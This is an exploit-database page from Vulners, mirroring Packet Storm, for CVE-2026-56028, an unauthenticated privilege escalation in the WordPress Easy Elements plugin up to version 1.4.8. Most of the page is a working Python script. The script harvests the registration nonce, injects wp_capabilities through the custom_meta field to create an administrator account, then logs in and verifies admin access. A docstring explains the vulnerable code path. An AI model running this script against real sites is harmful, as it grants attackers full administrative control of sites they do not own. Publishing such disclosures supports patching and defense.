Lucene search
+L

📄 WordPress Easy Elements 1.4.8 Unauthenticated Privilege Escalation

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 47 Views

WordPress Easy Elements <=1.4.8 enables unauthenticated admin escalation via custom_meta.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Easy Elements (Elementor Addon) <= 1.4.8 - Unauthenticated Privilege Escalation to Administrator
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/easy-elements/
    # Software Link: https://downloads.wordpress.org/plugin/easy-elements.1.4.8.zip
    # Version: 1.4.8 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-56028
    r"""
    Easy Elements <= 1.4.8 registers the unauthenticated AJAX action eel_register
    (widgets/login-register/class.login-register.php:9 wp_ajax_nopriv_eel_register; the class is
    instantiated unconditionally at :190, so the handler is live without any Elementor page rendered).
    The 1.4.8 hardening only sanitises the `role` field (forced to subscriber) but STILL loops the
    attacker-supplied `custom_meta` array into update_user_meta() with no key allowlist:
    
        65  $custom_meta = map_deep( wp_unslash($_POST['custom_meta']), 'sanitize_text_field' );
        120 $user_id = wp_insert_user( $user_data );        // role forced to subscriber (red herring)
        127 foreach ( $custom_meta as $key => $value )      // NO allowlist
        128    update_user_meta( $user_id, $key, $value );  // wp_capabilities writable directly
    
    Supplying custom_meta[wp_capabilities][administrator]=1 overwrites the capability meta ->
    the freshly-registered user is an administrator.
    
    The registration nonce (action 'easy_elements_nonce', field 'eel_register_nonce') is printed by the
    Easy Elements "Login / Register" Elementor widget in register mode
    (login-register.php:1562). Because registration is unauthenticated, the nonce is an anonymous-user
    nonce (stable per WordPress nonce tick), harvestable from any page rendering that widget:
        name="eel_register_nonce"\s+value="([a-f0-9]{10})"
    
    Prior state: plugin active + users_can_register=1 + a page containing the Easy Elements
    Login/Register widget (register form) as the nonce source.
    """
    import argparse, sys, re, random
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--nonce", help="easy_elements_nonce (harvested from the Login/Register widget page)")
        ap.add_argument("--page", help="URL of a page rendering the Easy Elements Login/Register widget")
        ap.add_argument("--user", default="eel" + str(random.randint(1000, 99999)))
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
    
        nonce = args.nonce
        if not nonce and args.page:
            h = s.get(args.page).text
            m = re.search(r'name="eel_register_nonce"\s+value="([a-f0-9]{10})"', h)
            nonce = m.group(1) if m else None
        if not nonce:
            print("[-] need --nonce (from the Login/Register widget page) or --page"); return 1
    
        print(f"[*] Target: {base} | user: {args.user} | nonce: {nonce}")
        d = {"action": "eel_register", "eel_register_nonce": nonce, "nonce": nonce,
             "user_login": args.user, "user_email": args.user + "@evil.test", "user_pass": args.pw,
             "custom_meta[wp_capabilities][administrator]": "1", "auto_login": "yes"}
        r = s.post(base + "/wp-admin/admin-ajax.php", data=d, timeout=25)
        print(f"[*] eel_register -> HTTP {r.status_code} :: {r.text[:140]}")
    
        a = requests.Session(); a.verify = False
        a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        a.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        p = a.get(base + "/wp-admin/plugins.php", timeout=20)
        if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
            print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED — new user '{args.user}' is administrator.")
            return 0
        print(f"\n[-] not confirmed (plugins.php={p.status_code})"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.8
EPSS0.0036
SSVC
47